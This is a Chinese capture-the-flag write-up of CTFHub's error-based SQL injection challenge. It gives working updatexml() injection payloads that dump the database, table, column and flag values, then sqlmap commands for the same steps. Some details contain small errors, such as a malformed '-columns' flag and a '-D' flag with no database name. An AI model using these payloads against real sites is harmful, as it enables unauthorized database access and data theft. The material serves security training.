CTFHUB-SQL注入-报错注入

目录

前言

手工注入

直接selcet

运用函数得到flag

SQLMAP注入


前言

报错注入是在网站提供查询时进行SQL注入

在用户输入了错误的信息时 网站进行报错处理

但是提交的不进行审查 就会让代码随着报错指令进入

手工注入

直接selcet

CTFHUB-SQL注入-报错注入_第1张图片

 我们输入 1

CTFHUB-SQL注入-报错注入_第2张图片

 

返回查询成功

我们输入1’

CTFHUB-SQL注入-报错注入_第3张图片

发现报错 于是我们可以进行报错注入

我们使用的函数是updatemxl(1,2,3)

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

特殊符号我们选择 ~ 0x7e

所以我们进行查询库名

1 and updatexml(1,concat(0x7e,database()),3)  

CTFHUB-SQL注入-报错注入_第4张图片

发现库名 sqli

然后我们进行爆破表名

1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='sqli')),3)

CTFHUB-SQL注入-报错注入_第5张图片

 爆破出了表

我们现在查询字段名

1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='sqli'and table_name='flag')),3)

CTFHUB-SQL注入-报错注入_第6张图片

得到字段 flag

现在得到flag

1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3)

CTFHUB-SQL注入-报错注入_第7张图片

 得到flag

运用函数得到flag

 

1 and updatexml(1,concat(0x7e,mid((select group_concat(flag)from sqli.flag),1,16)),3)

CTFHUB-SQL注入-报错注入_第8张图片

输出了flag中前16个字符

 

1 and updatexml(1,concat(0x7e,mid((select group_concat(flag)from sqli.flag),16,32)),3)

CTFHUB-SQL注入-报错注入_第9张图片

输出了后面的字符

得到flag

到此手工注入结束

SQLMAP注入

sqlmap -u "URL" --tables

CTFHUB-SQL注入-报错注入_第10张图片

爆破出数据库

现在爆破表名

sqlmap -u "URL" -D --table

CTFHUB-SQL注入-报错注入_第11张图片

现在爆破字段

sqlmap -u "URL" -D 库名 -T 表名 -columns

CTFHUB-SQL注入-报错注入_第12张图片

现在获取flag

sqlmap -u "URL" -D 库名 -T 表明 -C 字段名 --dump

CTFHUB-SQL注入-报错注入_第13张图片至此报错注入结束

你可能感兴趣的:(sql,数据库)